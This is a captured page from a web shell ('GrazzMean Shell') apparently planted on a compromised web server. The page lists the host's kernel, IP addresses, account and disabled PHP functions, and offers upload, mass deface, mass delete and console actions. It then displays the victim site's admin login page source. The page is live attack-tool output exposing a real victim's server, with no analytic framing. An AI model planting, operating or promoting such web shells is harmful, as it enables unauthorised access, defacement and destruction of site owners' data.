shell bypass 403

GrazzMean Shell

: /home/gutlooks/public_html/application/views/admin/ [ drwxr-xr-x ]
Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system
upload mass deface mass delete console

name : index.php 
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>Login</title>
	<!-- Stylesheet -->
	<link rel="stylesheet" type="text/css" href="<?=base_url('admin_assets/css/bootstrap.min.css')?>"/>
	<link rel="stylesheet" type="text/css" href="<?=base_url('admin_assets/css/style.css')?>"/>
	<link rel='dns-prefetch' href='http://fonts.googleapis.com/' />
	<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Muli:400,600,600,700' type='text/css' media='all' />
	<link rel="stylesheet" href="<?=base_url('admin_assets/css/animate.css')?>" type="text/css">
	<link rel="stylesheet" href="<?=base_url('admin_assets/css/animations.css')?>" type="text/css">
	<link rel="stylesheet" href="<?=base_url('admin_assets/css/docs.theme.min.css')?>">
    <link rel="stylesheet" type="text/css" href="<?=base_url('admin_assets/css/select2.min.css')?>"/>

	<!-- Font Icons -->
	<link href="<?=base_url('admin_assets/plugins/iconfonts/plugin.css')?>" rel="stylesheet" />
	<link href="<?=base_url('admin_assets/plugins/iconfonts/icons.css')?>" rel="stylesheet" />
	<link href="<?=base_url('admin_assets/plugins/fontawesome-free/css/all.css')?>" rel="stylesheet">
	<link rel="stylesheet" type="text/css" href="<?=base_url('admin_assets/css/feature-icon.css')?>"/>
</head>
<body class="login-page">
	<div class="wrapper">
		<div class="container">
			<div class="row">
				<div class="col-md-6 offset-md-3">
					<div class="login-block">
						<h4>Login Admin Panel</h4>
						<hr/>
						<?=$this->session->flashdata('error_msg')?>
						<form action="<?=base_url("admin/login_process")?>" method="post">
						<div class="form-group mt-5 row">
						    <label for="inputPassword" class="col-sm-3 col-form-label">Email</label>
						    <div class="col-sm-9">
						      <input type="email" class="form-control" id="inputPassword" name="email" placeholder="example@gmail.com" value="<?php echo set_value('email'); ?>">
						      <?php echo form_error('email'); ?>
						    </div>
						    
						</div>
						<div class="form-group row">
						    <label for="inputPassword" class="col-sm-3 col-form-label">Password</label>
						    <div class="col-sm-9">
						      <input type="password" class="form-control" id="inputPassword" placeholder="******" name="pwd">
						      <?php echo form_error('pwd'); ?>
						    </div>
						    <div class="col-md-6">
						    	<button class="btn btn-login">Login</button> 
						    </div>
						    <div class="col-md-6">
						    	<a href="<?php echo base_url('admin/forgot');?>" style=" padding: 10px 16px;
    width: 100%;
    margin-top: 20px;
    background: #f5f5f5;" class="btn btn-forgot">Forgot Password</a> 
						    </div>
						    
						</div>
						</form>
					</div>
				</div>
			</div>
		</div>
	</div>
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
	<script type="text/javascript" src=<?=base_url("admin_assets/js/bootstrap.min.js")?>|></script>
	<script type="text/javascript" src=<?=base_url("admin_assets/js/custom.js")?>></script>
	<script>
	window.setTimeout(function() {
	    $(".alert").fadeTo(300, 0).slideUp(300, function(){
	        $(this).remove(); 
	    });
	}, 2000);
	</script>
</body>
</html>
© 2026 GrazzMean